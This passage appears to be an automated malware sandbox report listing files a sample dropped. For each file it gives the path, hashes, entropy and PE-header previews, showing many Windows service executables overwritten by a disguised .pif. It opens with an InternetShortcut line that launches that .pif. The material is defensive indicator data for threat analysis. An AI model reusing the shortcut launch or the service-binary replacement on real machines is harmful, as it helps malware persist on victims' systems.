Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Sdvvfamy.PIF"..IconIndex=931417..HotKey=16..

C:\Users\Public\alpha.pif

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	236544
Entropy (8bit):	6.4416694948877025
Encrypted:	false
SSDEEP:	6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
MD5:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
SHA1:	4048488DE6BA4BFEF9EDF103755519F1F762668F
SHA-256:	4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
SHA-512:	80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\xpha.pif

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.742964649637377
Encrypted:	false
SSDEEP:	384:PVhNH/TqNcx+5tTAjtn3bPcPwoeGULZbiWBlWjVw:PVhZXx+5tTetLVohULZJgw
MD5:	B3624DD758CCECF93A1226CEF252CA12
SHA1:	FCF4DAD8C4AD101504B1BF47CBBDDBAC36B558A7
SHA-256:	4AAA74F294C15AEB37ADA8185D0DEAD58BD87276A01A814ABC0C4B40545BF2EF
SHA-512:	C613D18511B00FA25FC7B1BDDE10D96DEBB42A99B5AAAB9E9826538D0E229085BB371F0197F6B1086C4F9C605F01E71287FFC5442F701A95D67C232A5F031838
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.[...5]..5]..5]..]'.5]..0\..5]..6\..5]..1\..5]..4]Q.5]..4\..5]..=\..5]...]..5]..7\..5]Rich..5]................PE..L....$Z.....................2......P4.......@....@..................................c....@...... ..........................`a..\|....p.. ...............................T............................................`..\............................text....)......................... ..`.data........@......................@....idata.......`.......0..............@..@.rsrc... ....p.......<..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\3f155f6931e417df.bin

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.986344012767398
Encrypted:	false
SSDEEP:	192:VchnlVgF4rjKX+5xC7ZBfVb9kW9M7r4BfDmUJzrDJGc+rgeVJ6sIr:VcKFCeX+5xeD/Kwbmo4Hrr0sIr
MD5:	8566466B1184D8B575286A62054CF982
SHA1:	CF9E9374D630CE5354CA60CC93AF07370EA6191A
SHA-256:	0F86B53FA2EE81D05BEE3194E5440AE0C60DA46BEECBB0C93D6C64FFD2CE2F2C
SHA-512:	6F3101E296853FC48D66E534B5B11F49910ED404C986339FB0BC016DDDD68984CDB69B10766B82BD880CEAA73EBCCD399FD9E561BBFAB37927CA004D8E43A92B
Malicious:	false
Reputation:	unknown
Preview:	....2...t.2.v..X...E....`...&Y+.6..;...o.Tfl..t./y;j.u..j........w.........m{9..NxY........NYc.#$...OI.q.J...#..].\.s.Z..T......8.q.:......A.aw.]%.].....:{.1<..Zq...X...2o.&..D6..R..6/........bi.<....O..,..-O......y.Z/.tR....R.^I....-L.......\|-!...`a..A......f.....JbI.o.V.[4m.".(Z.6..=9..7.8{..t...+4...l.@...q..7j..Dy..Ob{.....;e:........5.6v..........g<s...l.s..a(r.?..K...7.yl.[.u[:j.)!e....,2...8..4...R(..z.\|...i(.......g..Ng;E..hw...y. n..r.?..%^..IDPv3!a......:}H..#j)...L.........n...U. @..~.iP..}......(2..(d.k.a.%.,.".O.....9.$G..3....,..o.0S7........N2.,-.O.+B....u^...[.t".).U.T.2s.y.]g.....v...l...'..hs.7 "..^.....\|cJ......!.r.j.5.....c..Yz.O.+H#...W....&A.$".zk"...t.$sEfM..2$.c.....g..B.<.X........z#......Az.FL6....V..F..`.9...........c........@~.......R...s..J....qQ...4(..{F....w......[V....6{.9.....j.%.b"...4...6.O....`.6...3. .....T.......].^F..e.}.I.0-......dIH2....br...pk...&G.vfj..Xv..i...$>.ogx.W.N.....m.....O^.7...`lRX....^

C:\Windows\DtcInstall.log

Download File

Process:	C:\Windows\System32\msdtc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	2313
Entropy (8bit):	5.130024832551288
Encrypted:	false
SSDEEP:	48:32qhuhCehuhqfhuhofhuhE2qhuh6987FMx7F/rt57wt+07FKC7867qrT7FoC786m:Z070s0Y0q0mF7Dm59
MD5:	0856C129304C327251231FD67257DDA8
SHA1:	24D5F8EDD8DE135F367BD28A9E484238B5DB5DC2
SHA-256:	F288D1F23C444E6A42AD89120FE84E6F4327C9E1766CB6845FB73FB557B1A85C
SHA-512:	C79FBDCE7C451377A29328D89245DE2303E3A887FCEA8F08C234AB9234360438B20B67D7D91AF97D61B27BC653E24F0B4D636C49C05F099843B811714CCC0231
Malicious:	false
Reputation:	unknown
Preview:	12-07-2019 09:17 : DTC Install error = 0, Enter MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (367)..12-07-2019 09:17 : DTC Install error = 0, Action: None, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (396)..12-07-2019 09:17 : DTC Install error = 0, Entering CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1700)..12-07-2019 09:17 : DTC Install error = 0, Exiting CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1876)..12-07-2019 09:17 : DTC Install error = 0, Exit MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (454)..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcSpecialize : Enter, com\complus\dtc\dtc\adme\deployment.cpp (2099) ..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcGeneralize : Enter, com\complus\dtc\dtc\adme\deploy

C:\Windows\SysWOW64\perfhost.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1150976
Entropy (8bit):	5.038913337481986
Encrypted:	false
SSDEEP:	12288:eJXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:eJsqjnhMgeiCl7G0nehbGZpbD
MD5:	B5FDD433E07825BDB9C6B8F563B00FDE
SHA1:	088BA8DA725FEFC5FBA54D95A3738C14B62817ED
SHA-256:	A0CCDD661623B7E31B4F1959B87AC057382A9B6F2063E257839496ED3506450D
SHA-512:	24191C8E46F184B69EC048BDA9BC13DFB848C405E59889AF1E76B194D1B4F2266D75674DD74F31F7E73136B8D97D0E0853A4FA6A89D72E5DC8AE5DF382CA3F1D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+-.~E~.~E~.~E~...~.~E~..F..~E~..A..~E~.~D~.~E~..D..~E~..@..~E~..L..~E~...~.~E~..G..~E~Rich.~E~................PE..L...CY]..................&...,...............@....@.................................v............ ..........................lQ..@....`..................................T............................................P..h............................text....%.......&.................. ..`.data........@.......*..............@....idata.......P.......,..............@..@.rsrc........`.......8..............@..@.reloc...P.......@...P..............@...........................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\AgentService.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	6.97430492464371
Encrypted:	false
SSDEEP:	49152:6wVFr68Vw9wn/6h8N1zidsDmg27RnWGj:6wVFrssC/dsD527BWG
MD5:	11EB7B63D45B07D2E9811E4D818A0174
SHA1:	400E0A4EC021282508133290A8187A929BB23FCE
SHA-256:	9E704FE9E411474BC7BF50ECF7E65FA56689F73F348E8AEB273FD4F935E80F9D
SHA-512:	CA500251D818826DB0B4682DAA6081F252588D279441ADED3E36F5B78DFC7EE5CA99DBEB1DBE8A9B3F9649BA81D1BBA6DD8F08C1490B1A742CF101D5456E3AD3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...qq.Bqq.Bqq.Be..Crq.Be..Ciq.Be..C2q.Be..Cfq.Bqq.BIp.Be..C2q.Be.)Bpq.Be..Cpq.BRichqq.B........PE..d.................".................0..........@......................................... .......... ......................................X........... ....0...}..................0...T...................(...(...................P................................text............................... ..`.rdata..............................@..@.data...........t..................@....pdata...}...0...~..................@..@.rsrc... ...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Windows\System32\AppVClient.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348608
Entropy (8bit):	7.253729790235816
Encrypted:	false
SSDEEP:	24576:kQW4qoNUgslKNX0Ip0MgHCpoMBOuBsqjnhMgeiCl7G0nehbGZpbD:kQW9BKNX0IPgiKMBOuVDmg27RnWGj
MD5:	500275C60FCB5B035FD81A2BA2CB2073
SHA1:	76098E76A8274C689CA73C9A2A4706479D1290CE
SHA-256:	CA15CA9E777125297E77BB5A3A4AAAC742FC10A10AB4790362B7080B81162A6B
SHA-512:	652C570586616EEC04620E4ED04C220E106272B99A48A0A22A9187A64B817723A4B5C5A2C08C87EB431956355797F1635839A0E07D7A53C1743010F56B23FC01
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@.......................................... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1224192
Entropy (8bit):	5.163555307805148
Encrypted:	false
SSDEEP:	24576:k2G7AbHjkesqjnhMgeiCl7G0nehbGZpbD:k2G7AbHjPDmg27RnWGj
MD5:	4B67BD8AAA681D11F735DC710C48E0D8
SHA1:	C4C2308319E6063379E88C0DDD3C06F8C40D7D98
SHA-256:	33947CF7E895BB364EA43D43F6148CCECDB4D6FE2D81B0967D707EE527EDD40D
SHA-512:	F065A2E1281D0B6CB14DABA1BAFC031F6937B305CA57C3C1BD410E3928E5A3CD2FFC8B02EF5172FF5693CD622E0968F27E94449A18E7852993F56043E8946847
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.....................................(.... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...P.......@...n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.288942719136332
Encrypted:	false
SSDEEP:	24576:skdpSI+K3S/GWei+qNv2uG3msqjnhMgeiCl7G0nehbGZpbD:s6SIGGWei2uG3qDmg27RnWGj
MD5:	3117CDDE7FDB0851FDBCA3E7FDB7A142
SHA1:	CD822847001CE1ECBC113AD886042B370C61EAD7
SHA-256:	3993D265015583A7FCBE9E4D02E42FBD9DD5BEA456881CEA3E99145732B22E78
SHA-512:	9B8EE6BB9A2C4711FBCA847FC7FD9C6AD70C2C73BDED5EA16A21ADFBAA382B9C9A82F185E145E5FB4B82536754CA0BFEAA44763459C2347A17422FA2FB21E32E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P......[..... ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\Locator.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1141248
Entropy (8bit):	5.01751872118564
Encrypted:	false
SSDEEP:	12288:oFXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:oFsqjnhMgeiCl7G0nehbGZpbD
MD5:	979F07784823EB9149D134FBAB0B4376
SHA1:	317CDBE9C3979E7125E538C1062CF9FC48D15BD3
SHA-256:	2CD35C56FF3E15DCA73EC7DF990911EC66103A8FD979E8381D1684263BB98E29
SHA-512:	FB70A8B290E8373AD33BEB0A12BC98ADDD73B35EE1A387CF0485F70A1E603D457E32723D3995B4D1B534788E154B5FDF4C8CE36FFB8961CD0037E6787858C17D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C."^".q^".q^".qWZ;qL".qJI.p_".qJI.p\".qJI.pO".q^".qy".qJI.p[".qJI.p]".qJIWq_".qJI.p_".qRich^".q........................PE..d...k(............".........."...... ..........@....................................4y.... .......... .......................................&.......P.......@......................0#..T............................ ..............(!..p............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@....... ..............@..@.rsrc........P......."..............@..@.reloc...P...`...@...*..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\MsDtc\Trace\dtctrace.log

Download File

Process:	C:\Windows\System32\msdtc.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.32132367112088095
Encrypted:	false
SSDEEP:	6:5lYXl8ta/k/uMclF6vMclFq5zUR/tz8gYbOCzE5Zm3n+SkSJkJIOcuCjHu9+G2Xn:Al80kqF69Fq5zYq6CzE5Z2+fqjFXn
MD5:	CB8CD05871B2C46B42EF4FFA61BFCB28
SHA1:	8B335BC5EDF4AEA7F2BA2CBB814D9D0529EC1CBB
SHA-256:	7232A17535DC01052050C3991E0CEBB7BD317D8B7844C61317549E2F4AC807F9
SHA-512:	14E178E66AB900DB135EFA89BB390666A6621293A90AFD698288931F66E7C3A3BEB931B3055E8BD1FDBFCC80DD066DA428FDC2D1607F252B5764CAC092DA8CB5
Malicious:	false
Reputation:	unknown
Preview:	.@..X...X.......................................X...!........................... ........Ee.............@......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................X.Pl...........Pe...J..........M.S.D.T.C._.T.R.A.C.E._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.S.D.t.c.\.t.r.a.c.e.\.d.t.c.t.r.a.c.e...l.o.g.............P.P. ........Ee............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\OpenSSH\ssh-agent.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1511424
Entropy (8bit):	5.222903988226532
Encrypted:	false
SSDEEP:	12288:1ObHA4LWOsvAYFTuXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9L:yjL3UTusqjnhMgeiCl7G0nehbGZpbD
MD5:	A5F4C6CB650242AC4B9D281D7FB3AD95
SHA1:	2351FF38B04CD26CB1C808E6B8F52585F2220543
SHA-256:	15CE775FC9B0A4FB28877DAFE6B111974A1CDF523E6A6B92125634B22A83AB53
SHA-512:	5D20A36FD67842142F12FCE22AA1AB46C2F6F4D3827B55D1B507F35AB26FF056DBCC73C5656960269814FE8798575842D9E9A2E4C266D98DA8C25D832006F9F3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D\|.%...%...%...C...%...C...%...C..{%.....%...{...%...{...%...{...%...]...%../L...%...%..6$..&{...%..&{.%...%...%..&{...%..Rich.%..................PE..d.....q^.........."..........:.......i.........@.....................................p.... ......................................................... ..x.......T...................P..p...........................`Q..................8............................text............................... ..`.rdata..............................@..@.data....I..........................@....pdata..T*.......,..................@..@.rsrc...x.... ......................@..@.reloc...P...0...@..................@...........................................................................................................................................................................................................................

C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1235968
Entropy (8bit):	5.18218856442812
Encrypted:	false
SSDEEP:	12288:xpFtQOaXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:IOasqjnhMgeiCl7G0nehbGZpbD
MD5:	93CC0F7EAE7D58C22855106B435E4B64
SHA1:	491B2CF88A7376992FA8A09435D809F1356BCE7F
SHA-256:	03BD61C0EADA9362E0B60F533C4E8618C8B711B2A704A33FAD60306F6DE32178
SHA-512:	4F187405FA20DD10DFE8D82FC2E13A43601C5A82291F7E3766434C22D3B283704D5D64D277B99C4149083403C61E8A255643165ACF4E3D6C564B3983C8032C48
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@A...A...A...H.......U...K...U...B...A.....U...F...U...N...U...e...U.t.@...U.v.@...U...@...RichA...................PE..d...6............".................0..........@.......................................... .......... ......................................Xq..........x............................S..T...................(..(....)..............P...............................text...@........................... ..`.rdata...n... ...p..................@..@.data...............................@....pdata..............................@..@.rsrc...x...........................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................................................................

C:\Windows\System32\SearchIndexer.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	7.102359054616168
Encrypted:	false
SSDEEP:	24576:v3frCoQItLsiLPLe24CxruW4bIhllusqjnhMgeiCl7G0nehbGZpbD:v3fzsIPLkCNuVbIhDCDmg27RnWGj
MD5:	E0AE6E1D69AAF0851F2D210AAFBDD0FE
SHA1:	F7C3FE3754015382818F8163D8FF8D83FE94B678
SHA-256:	B3792AA6AF47AAAE9D8C80F89BDDC7012B80EB58192FFCC805E3FDFE6DD0C129
SHA-512:	88AEDE5FEFD6202F086DBF8E2770A3AFDC822EB3D1B7CABCEFED13D2D26FD21BA011F4CED750B493D12FADEFA5FE9DFDFB2B42FF64988DB92C838D33A21081BD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................z............................................l............Rich............PE..d.................".................0..........@....................................k..... .................................................HL..........(...........................P...T...................P...(... ........................<.......................text...9........................... ..`.rdata..............................@..@.data....:...........p..............@....pdata..............................@..@.didat.......p......................@....rsrc...(............ ..............@..@.reloc...............*..............@...................................................................................................................................................................................................................................

C:\Windows\System32\SensorDataService.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1846784
Entropy (8bit):	6.939427955436724
Encrypted:	false
SSDEEP:	24576:JW6BApg2YuyuNDYTabvcRvNYf8km1rsqjnhMgeiCl7G0nehbGZpbD:JF2YuHNETovcvNYf8km9Dmg27RnWGj
MD5:	3F2AB6CB57E7A0604E4E19795A526BD3
SHA1:	C5778D1B77B0AA28F1E896BDAA612CFAFC710C94
SHA-256:	B294DD3E489D0E9C3CBE4C9CF5A7227AAAFDCA3DFCF8CE867EE64D50C865552C
SHA-512:	D3C7384919718FFBCBB84EBD104FA131F388D5944A0CCE89FE184E3EB7EDC12ADAAFF1395C36395BE9D967E6BA7A39465094EAB4175166302B8E222F3085F716
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W`............yA.K...j...........j.....j.....j.....j.0...j-.....j....Rich...........................PE..d................."......"...(......@..........@.............................p......zf.... .......... .......................................~..H....`..`........................... t..T...........................0w..............Hx..p............................text....!.......".................. ..`.rdata..P^...@...`...&..............@..@.data...............................@....pdata..............................@..@.rsrc...`....`.......6..............@..@.reloc.......p.......>..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\Spectrum.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.238877280992664
Encrypted:	false
SSDEEP:	24576:OiW6ZvAKF5i/dN9Bdexj9Trk+FasqjnhMgeiCl7G0nehbGZpbD:OYxF50b9Bdm9TxEDmg27RnWGj
MD5:	07D3656AD4DF3DADDEDA88F101DE735C
SHA1:	5E04AE069B00A9B04E276DF442F65EF628418B2D
SHA-256:	525330FD71418435B58DAE8BADF0B16EDC3C6046BF6757AFBF242B43AC704032
SHA-512:	7D3117B6578F5524047BF25FF7083A066B4A2A07C94BDE48E66F7A402C4EF0C68B649D05CE93EAC37CE9704DB26A454B6D3D81093966E6686C66015E2C038320
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zq..>...>...>...7h..D...{..4...{..=...>...+...{..9...{..V...{......{n.?...{l.?...{..?...Rich>...........PE..d...)ew..........."................. ~.........@.....................................7.... .......... .................................................. .......@k...................l..T...................@...(...p...............h................................text............................... ..`.rdata.............................@..@.data....8.......*..................@....pdata..@k.......l..................@..@.didat..8....p.......>..............@....rsrc... ............@..............@..@.reloc...............F..............@...........................................................................................................................................................................................................................

C:\Windows\System32\TieringEngineService.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	5.476577895047903
Encrypted:	false
SSDEEP:	24576:jJnJ5D3WYnsqjnhMgeiCl7G0nehbGZpbD:jJnJ5DGY7Dmg27RnWGj
MD5:	ADFE5C8879C41AEA47D22E19AC1F0F44
SHA1:	4AB4BEF3E8690CD76C88D06A8E99114345EFF57C
SHA-256:	3C31EDE97ADF036031D98090691805FA8AEC574E7B2476C2AA441325A498FA8C
SHA-512:	C4FCCC8CFAE7719CE183720B1350F50BB5BB142C610A26A45BA377632A603BA61B55D59EA0F6ECE6AE87E44E5BC03F2748238D6E150A3AAF6DAA4A96856C0D5A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w............nP.....}.....}........Z...}.....}.....}.....}<....}.....Rich............................PE..d................."............................@....................................\..... .......... ..........................................H...............p....................p..T...................h:..(...P9...............:..@... ...@....................text...\|........................... ..`.rdata.......0......................@..@.data...............................@....pdata..p...........................@..@.didat..............................@....rsrc...............................@..@.reloc...P...0...@..................@...................................................................................................................................................................................................................

C:\Windows\System32\VSSVC.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2075136
Entropy (8bit):	6.7365572773665265
Encrypted:	false
SSDEEP:	49152:CPK86JYTerDjfJ2313e1mP1MdnUwDmg27RnWGj:7D527BWG
MD5:	2959272C47E0CAE99787E5E0BDDA7B2A
SHA1:	BD5B11609EB28C6F6E774DE8631EDC11342617D6
SHA-256:	52FC2D76DC9E7986C5E4E0436F578B8A80916F351E4F28B921493CF7E497FEF7
SHA-512:	DFA7103B24700BA9E736E16EB0B4B2434873853B2CA34EB421E5ADA8E35C115FD023C1455082F8B9301F1EF3789CAF229901B198D5C384A2D021EA5EF05E9CD3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@.e.!.6.!.6.!.6.YI6.!.6.J.7.!.6.J.7.!.6.!.6. .6.J.7.!.6.J.7.!.6.J.7.!.6.J%6.!.6.J.7.!.6Rich.!.6........PE..d...b.Xw.........."......v...f.......p.........@.............................. .....,..... .......... ..................................................@O...0..lx...................o..T............................................................................text....t.......v.................. ..`.rdata..`\|.......~...z..............@..@.data...............................@....pdata..lx...0...z..................@..@.didat..P............x..............@....rsrc...@O.......P...z..............@..@.reloc..............................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1225728
Entropy (8bit):	5.163302245982073
Encrypted:	false
SSDEEP:	12288:AEP3R6TXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:b6TsqjnhMgeiCl7G0nehbGZpbD
MD5:	1F7F4AE415948A1027E513F2D23B8A5B
SHA1:	9CE233EA690638F834ACB826D3D08DBE9D6DE1F1
SHA-256:	B2F16B990F85848BE6ACCE5F914AEEB32C685CCD95B1B96316CAA07B68F3EAB1
SHA-512:	50EB5E674B00A5346E22F10C193306252CB03E845D85101AD04533CF7D07FB9DBE5DC2868EDC8C455B353B20D9F09D65C1098C76ED87E6E28FF86C77DE087EDD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@.......................................... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...P.......@...t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\3f155f6931e417df.bin

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.98670153326725
Encrypted:	false
SSDEEP:	384:c6az65qqdB8adqLUo4Tj8aGpxXAs2Oml/a0W/ay8Ntq51:ac5LdqZ4Tj8aGD2hl/aF/N881
MD5:	490D543F1BC925B48C1DD2E5525DB0FE
SHA1:	AD0951A328B3796B04608A09954314243E7388A6
SHA-256:	D429F1D9498B3D4E73D41219EFB065F910A5C82396A50E88195F7589220F9200
SHA-512:	9E86ED198262E9C738AEFB4DC09B23585C992D69AF6EBA6841B4E9CE0086AD43599CBBAD3E7A9FDDCA63733DB7EC08A0EBEC34F38892655D78478A1352854850
Malicious:	false
Reputation:	unknown
Preview:	b1ca]wv...1a....m.U...f..Y.?..-..'.....;od........J..C.rj1.B_.......Z.N..}v...u`.G..FbSU..n.........)S.-8.,<...&...n.xv..)..4.!......0.O.v..;...S....).N._.nQ.."..w../{.....~x...Q....^...Z..K.._.1{ q...i.@4..s....5...Q...z5....}/<o....u-.%.APy.QTzY.......- ....a...;pT.K.~.J..h"4.....>-..'../M....S2....x ?..g.l.#!..$D..B}...(.=.eVL.4C..g...S.8.6@r.P..n..7Tb...a.....:...4.k....0.4\Eo\2K.j.....p."....Yki...u....D.......Hs.{N...A..bd..`..x2..........).b.....T^U......!....!........#l...AD..a...4 ...L...GhS....[[gO..(..7.}.d^S.B..@`...jS.b.y..A.9h.t..".{"..v.]m.u..9(.^.....d...H.....0.../s.....3..[9..6.hxc...@\..`....0...-...Wh=......,%..#...j.....DY.=.i....;<M;k^......}.....muR.v..A7...9.^m..(.......F....2z..LH/..........Z.).Z......".m.. ...DP..gz...f..3....%.,.....$[.....?&.....{......n.....H..&.A...O....d.....t#.I..9.G{....;..k.....Q.O.a.%E....c......t..h.Q..S.D(IH.....^.y.a.":.U...1.....b....G.t.".../0H.H...@0..~.lM.K..Y...`.@.n..u..-W

C:\Windows\System32\msdtc.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1278464
Entropy (8bit):	5.142977586782422
Encrypted:	false
